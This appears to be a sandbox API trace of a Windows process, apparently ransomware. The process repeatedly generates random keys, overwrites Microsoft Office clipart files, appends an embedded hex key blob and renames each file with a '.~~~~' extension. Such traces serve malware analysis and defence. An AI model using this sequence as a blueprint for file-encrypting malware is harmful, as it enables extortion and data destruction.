	[0109.073] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.073] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.074] CloseHandle (hObject=0x130) returned 1
	[0109.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5488
	[0109.074] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf.~~~~")) returned 1
	[0109.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5488 | out: hHeap=0x300000) returned 1
	[0109.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0109.075] GetLastError () returned 0x0
	[0109.076] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0109.077] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.077] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0109.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0109.077] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22906706818) returned 1
	[0109.077] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaaabae10, dwHighDateTime=0x1d60e1e)) 
	[0109.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0109.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0109.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0109.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808800
	[0109.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808800 | out: hHeap=0x300000) returned 1
	[0109.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5488
	[0109.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282aa20
	[0109.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5488 | out: hHeap=0x300000) returned 1
	[0109.078] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0109.078] GetLastError () returned 0x0
	[0109.078] GetLastError () returned 0x0
	[0109.078] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0109.078] GetLastError () returned 0x0
	[0109.078] GetLastError () returned 0x0
	[0109.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffeb44, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.145] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x14bc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x14bc, lpOverlapped=0x0) returned 1
	[0109.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0109.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.150] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.150] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.150] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.150] CloseHandle (hObject=0x130) returned 1
	[0109.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5728
	[0109.150] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf.~~~~")) returned 1
	[0109.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5728 | out: hHeap=0x300000) returned 1
	[0109.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0109.152] GetLastError () returned 0x0
	[0109.152] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0109.154] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.154] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0109.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0109.154] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22914402205) returned 1
	[0109.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaab794f0, dwHighDateTime=0x1d60e1e)) 
	[0109.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0109.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0109.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0109.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808870
	[0109.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808870 | out: hHeap=0x300000) returned 1
	[0109.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5728
	[0109.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ab50
	[0109.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5728 | out: hHeap=0x300000) returned 1
	[0109.155] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0109.155] GetLastError () returned 0x0
	[0109.155] GetLastError () returned 0x0
	[0109.155] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0109.155] GetLastError () returned 0x0
	[0109.156] GetLastError () returned 0x0
	[0109.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffd85c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.233] WriteFile (in: hFile=0x130, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x27a4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x27a4, lpOverlapped=0x0) returned 1
	[0109.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0109.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.240] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.256] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.256] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.256] CloseHandle (hObject=0x130) returned 1
	[0109.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5680
	[0109.262] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf.~~~~")) returned 1
	[0109.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5680 | out: hHeap=0x300000) returned 1
	[0109.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0109.264] GetLastError () returned 0x0
	[0109.264] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0109.265] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.265] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0109.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0109.266] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22925572819) returned 1
	[0109.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaac5dd30, dwHighDateTime=0x1d60e1e)) 
	[0109.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0109.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0109.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0109.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808918
	[0109.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808918 | out: hHeap=0x300000) returned 1
	[0109.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5680
	[0109.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ac80
	[0109.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5680 | out: hHeap=0x300000) returned 1
	[0109.266] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0109.267] GetLastError () returned 0x0
	[0109.267] GetLastError () returned 0x0
	[0109.267] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0109.267] GetLastError () returned 0x0
	[0109.267] GetLastError () returned 0x0
	[0109.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff6c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.277] WriteFile (in: hFile=0x130, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x938, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x938, lpOverlapped=0x0) returned 1
	[0109.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0109.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.279] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.279] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.279] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.279] CloseHandle (hObject=0x130) returned 1
	[0109.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5680
	[0109.280] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf.~~~~")) returned 1
	[0109.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5680 | out: hHeap=0x300000) returned 1
	[0109.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0109.281] GetLastError () returned 0x0
	[0109.281] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0109.282] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.282] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0109.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0109.282] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22927262631) returned 1
	[0109.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaac83e90, dwHighDateTime=0x1d60e1e)) 
	[0109.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0109.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0109.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0109.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808950
	[0109.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808950 | out: hHeap=0x300000) returned 1
	[0109.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5680
	[0109.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ae48
	[0109.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5680 | out: hHeap=0x300000) returned 1
	[0109.283] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0109.284] GetLastError () returned 0x0
	[0109.284] GetLastError () returned 0x0
	[0109.284] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0109.284] GetLastError () returned 0x0
	[0109.284] GetLastError () returned 0x0
	[0109.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff4a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.330] WriteFile (in: hFile=0x130, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0xb60, lpOverlapped=0x0) returned 1
	[0109.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0109.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.332] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.333] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.333] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.333] CloseHandle (hObject=0x130) returned 1
	[0109.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0109.413] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf.~~~~")) returned 1
	[0109.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0109.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0109.415] GetLastError () returned 0x0
	[0109.416] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0109.417] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0109.417] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0109.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0109.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0109.417] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22940707360) returned 1
	[0109.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaaddaaf0, dwHighDateTime=0x1d60e1e)) 
	[0109.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0109.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0109.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0109.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808a30
	[0109.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808a30 | out: hHeap=0x300000) returned 1
	[0109.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0109.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867058
	[0109.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0109.433] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0109.434] GetLastError () returned 0x0
	[0109.434] GetLastError () returned 0x0
	[0109.434] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0109.434] GetLastError () returned 0x0
	[0109.434] GetLastError () returned 0x0
	[0109.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff82ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.442] WriteFile (in: hFile=0x130, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x7d14, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x7d14, lpOverlapped=0x0) returned 1
	[0109.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0109.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
